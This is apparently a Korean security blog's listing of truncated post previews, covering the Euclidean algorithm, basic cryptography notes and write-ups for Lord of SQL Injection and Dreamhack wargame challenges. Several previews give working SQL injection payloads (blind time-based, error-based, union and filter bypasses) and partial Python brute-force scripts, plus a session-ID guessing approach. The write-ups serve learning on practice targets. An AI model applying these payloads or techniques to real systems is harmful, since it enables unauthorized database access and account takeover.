분류 전체보기 146

[암호수학1] 유클리드 알고리즘 이론~코딩

유클리드 알고리즘(Euclidean algorithm)이란? 유클리드 알고리즘(유클리드 호제법)은 자연수 2개의 최대공약수를 구하는 하나의 알고리즘이다. 유클리드 알고리즘을 쓰면, a와 b의 공약수들을 나열하지 않고, 연산만으로 a와 b의 최대공약수를 구할 수 있다. 유클리드 알고리즘 계산법 gcd(a,b)=a와 b의 최대공약수 최대공약수(Greatest Common Divisor, GCD) 유클리드 알고리즘 코딩 [파이썬] def gcd(m,n): if m0: q=r1//r2 print('q={}'.format(q)) r=r1-r2*q print('r1={}, r2={}, r={}'.format(r1, r2, r)) s=s1-s2*q s1=s2; s2=s print('s1={}, s2={}, s={}'..

[암호학] 1장 정리. 현대암호 이론 기본정리

1. cryptosystem(암호시스템)이란 : 정보보호를 위해 암호화,복호화,키 등을 사용해 안정성을 보장할 수 있는 일련의 과정 1.1 안전한 통신을 위해선 기밀성(Confidentiality): 메시지 내용 자체 보호, 인증(Authentication): 송신자의 신분확인, 무결성(integrity): 메시지 변조여부 확인, 재시도 공격(replay attack) 방지를 만족해야함. ++용어 정리++ plaintext, ciphertext, key, encryption, decrption 현대 암호: 현대 암호는 1970년대 후반 미국 스탠퍼드 대학교과 MIT 대학교에서 시작되었다. 1976년 스탠퍼드 대학교의 휫필드 디피(Whitfield Diffie)와 마틴 헬만(Martin Hellman)은 ..

[Load of SQL Injection] blue_dragon

첫번째 쿼리문에서 result를 받은 후 '(홑따음표)를 필터링 한다. sleep()함수와 if문을 사용하자. if문의 조건절이 참이면 5초간 시간을 끌게 만들었다. import requests import time cookies={'PHPSESSID':'새션값'} url ="https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?id=admin&&pw=" length=8#pw는 8자리 pw= "" min=time.time() max=time.time() for i in range(1, length+1): for j in range(33, 122):#문자범위 min=time.time() #' or if(id='admin' ..

[Load of SQL Injection] red_dragon

is_numeric을 통해 no변수가 숫자인지 본다. is_numeric함수는 16진수 표현이 통과된다는 취약점을 가지고 있다. injection실패 ?id=%27||no>%23&no=%0a1 %23을 통해 한줄 주석 처리를 해주고, %0a를 입력해 줄바꿈을 해준다. 그러면 최종적으로 쿼리문은 where id=''||no>1이 된다. 이진탐색 알고리즘을 이용해서 no을 찾는다. (시간단축) --나는 그냥 부등호를 사용해서 찾았다. 3분밖에 안걸린다. 코드 짜기 귀찮다면 그냥 노가다를 하자 no=586482014 URL + ?no=586482014 를 입력해준다.

[Load of SQL Injection] green_dragon

필터링: prob _ . ' " select id,pw from prob_green_dragon where id='\' and pw=' or id=0x61646d696e%23' --> id: \ pw: or id=0x61646d696e%23 (admin의 16진수값) [UNION 사용 예시] [UNION 적용] select id,pw from prob_green_dragon where id='\' and pw=' union select 1,2#' [문제해결] query2를 select id from prob_green_dragon where id='\' and pw=' union select 'admin'#' 로 만들어 주자. 1. ?id=\&&pw=union select '\', 'union selec..

[Load of SQL Injection] evil_wizard

이전 문제와 비슷하다. 이번에는 order by 1 and id='admin' and if(조건문, 1, exp(710))을 이용하자. 조건문이 참이면 정상실행, 거짓이면 exp(710)이 실행되어 에러가 발생한다.(table에 아무것도 출력되지 않음) [길이는 30] -부등호와 등호를 통해 알아냄 import requests cookies={'PHPSESSID':'1h1qpdjpcu9keu5vn9s0ctqho1'} url ="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=1%20and%20id=%27admin%27%20and%20" length=30 pw= "" for i in range(1, leng..

[Load of SQL Injection] hell fire (SQL order by)

이번 쿼리엔 order by 구문이 적용되어 있다. 먼저 이 구문에 대해 알아보자. [order by] 1. 보통 칼럼명이 옴( 그 칼럼을 기준으로 정렬) 2. 그 칼럼명 뒤에 asc, desc로 오름차순, 내림차순 정리 3. 숫자(n)가 오면 n번째 칼럼을 기준으로 정렬 처음엔 IF (참(거짓)구문, score, 9999) 방식으로 해서 풀려 했는데 무슨 이유인지 거짓구문을 넣어도 테이블이 잘 생성된다. 따라서 error를 이용하기로 함. 방법은 2가지. 1. (select exp(710) where 7=(select length(email) where id='admin')) 2. (select pow(2,99999) where 7=(select length(email) where id='admin')..

[Dreamhack] session(python 사용)

먼저 접속 정보에 나와있는 주소로 접속합니다. 그러면 위와 같은 사이트를 만나게 됩는데요, 첨부파일에 있는 app.py도 살펴봅시다 [app.py 분석] --> 로그인 정보 --> sessionid쿠키값을 통해 user가 누군지 판별함 --> admin의 sessionid값을 알면 admin의 pw를 몰라도 admin계정으로 로그인 가능 --> sessionid값을 만들어 내는 방법 --> os.urandom(1).hex()을 통해 admin의 sessionid를 만들어냄. --> os.urandom(1): os 모듈에는 urandom이라는 함수가 있다. 이 함수는 원하는 길이(byte단위)의 unsigned 수치값을 무작위로 만들어 준다. [admin의 sessionid찾기] 1. 사실상 admin의 ..

[Dreamhack] Session-basic 풀이

http://host1.dreamhack.games:22849/ Welcome! 이라는 글자와 함께 사이트가 등장한다. Home이나 About을 눌러봐도 별다를 게 없다. Login을 누르면 로그인 페이지로 이동한다. 문제파일을 다운로드해서 안에있는 app.py를 살펴보자. 소스코드의 11~18번째 줄은 아마도 id&pw 정보를 나타내고 있는 것 같다. [21~29번째 줄] 이 부분은 sessionid라는 쿠키값 확인을 통해 로그인이 이루어지는 과정이다. 즉, id=admin일 때의 sessionid쿠키값을 안다면, admin 계정으로 로그인할 수 있다는 것이다. 시험삼아 id는 user, pw는 user1234로 로그인해 보자. 그러면 Hello user, you are not admin이라는 글을 볼..

[Load of SQL Injection] dark eyes

pw='or id='admin' and (select 1 union select length(pw)=8)# select 1 union select length(pw)=? union 뒷문장이 1(참)일 때 union의 뒷문장이 참이면 1로 바뀐다. 또한 union은 중복을 허용하지 않기 때문에 select 1 union 1은 하나의 1로 귀결된다. 따라서 에러를 일으키지 않게 된다. union 뒷문장이 0(거짓)일 때 하지만 union의 뒷문장이 거짓이면 0으로 바뀌고, select 1 union 0은 2개의 결과(1,0)을 나타내게 된다. (서브쿼리는 하나의 레코드를 반환해야하는데, 해당 쿼리의 결과는 2개의 레코드를 반환하기 때문에 에러가난다. 에러가 나면 화면에 아무것도 출력되지 않는다. 정상출력 p..